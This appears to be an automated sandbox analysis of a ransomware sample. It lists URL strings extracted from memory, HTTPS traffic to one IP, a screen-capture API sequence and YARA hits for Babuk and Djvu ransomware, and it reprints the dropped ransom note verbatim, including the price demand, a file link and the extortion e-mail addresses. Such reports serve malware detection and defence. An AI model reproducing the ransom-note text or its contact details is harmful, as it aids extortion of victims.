Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt16410221.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt16410255.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt22583886.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt23154796.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt33398600.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt34128371.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt44461500.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt44562389.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt45299826.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt55723235.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt66862102.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt66963475.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt67739505.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt78443713.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt78582910.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/lt89309507.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt02802345.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt02887601.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt02897376.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt02930043.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03107658.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03107665.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03458075.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03986974.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03987161.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt03987167.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt04014209.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt10000137.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt11414620.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt11829122.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt16400647.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt16400656.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt16410221.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt16410255.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt22583886.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt23154796.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt33398600.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt34128371.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt44461500.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt44562389.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt45299826.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt55723235.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt66862102.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt66963475.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt67739505.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt78443713.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt78582910.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/mt89309507.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st02802345.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st02887601.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st02897376.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st02930043.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03107658.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03107665.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03458075.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03986974.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03987161.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st03987167.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st04014209.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st10000137.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st11414620.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st11829122.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st16400647.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st16400656.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st16410221.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st16410255.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st22583886.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st23154796.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st33398600.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st34128371.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st44461500.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st44562389.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st45299826.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st55723235.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st66862102.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st66963475.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st67739505.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st78443713.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st78582910.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/st89309507.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf02802345_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf02887601_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf02897376_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf02930043_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03107658_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03107665_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03458075_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03986974_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03987161_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf03987167_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf04014209_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf10000137_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf11414620_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf11829122_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf16400647_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf16400656_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf16410221_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf16410255_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf22583886_win32.xltm
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf23154796_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf33398600_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf34128371_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf44461500_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf44562389_win32.xltm
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf45299826_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf55723235_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf66862102_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf66963475_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf67739505_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf78443713_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf78582910_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://binaries.templates.cdn.office.net/support/templates/en-us/tf89309507_win32.xltx
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: wctFF6F.tmp.11.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://explore.live.com/home
Source: wctFF6F.tmp.11.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://g.live.com/8seskydrive/HomePageUrl
Source: wctFF6F.tmp.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: lgYdZ.exe, 00000012.00000003.1673074893.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, NTUSER.DAT.11.dr	String found in binary or memory: https://login.live.com
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://login.live.com/accountbind.srf?dualbind=1
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://login.live.com/accountbind.srf?dualbind=1x
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://mail.google.com
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/google_16_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/google_32_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/google_48_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_16_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_16_1.pngX
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_16_1.pngo
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_20_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_24_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_24_1.pngRp
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_24_1.pngr
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_32_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_32_1.pngdi
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_32_1.pngip
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_40_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_40_1.pnga
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_40_1.pngap
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_48_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_48_1.png-
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_48_1.pngO
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/linkedin_48_1.pngn
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/liveconnect_16_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/liveconnect_32_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/liveconnect_48_1.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/officestore_16_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/officestore_32_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/officestore_48_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_16_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_16_2.pngsp
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_32_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_32_2.pngfp
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_48_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_48_2.png/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/onedrive_48_2.pngri
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_16_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_16_2.png/st
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_32_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_32_2.png_LINKE
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_32_2.pngvk
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_48_2.png
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/sm/sharepoint_48_2.pngvk
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://officeapps.live.com
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://outlook.live.com/owa/wopibootstrapper
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://outlook.office365.com/owa/wopibootstrappervk
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://products.office.com/en-US/sharepoint/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://signup.live.com/signup?ru=https://login.live.com/oauth20_authorize.srf%3fclient_id%3d0000000
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-0S984cQ4
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000751000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000708000.00000004.00000020.00020000.00000000.sdmp, _readme.txt1.11.dr	String found in binary or memory: https://we.tl/t-0S984cQ4B3
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-0S984cQ4i
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewse
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.google.com/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.googleapis.com/auth/calendar
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.googleapis.com/auth/contacts
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.googleapis.com/auth/drive
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.linkedin.com/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.msn.com:443/en-us/feedre_
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.office.com/
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.office.com/.p
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.office.com/pn
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.office.com/s:
Source: NTUSER.DAT.11.dr	String found in binary or memory: https://www.yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49724 version: TLS 1.2

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

4_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-0S984cQ4B3Price of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@sysmail.chReserve e-mail address to contact us:supportsys@airmail.ccYour personal ID:0430JIjdmi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE
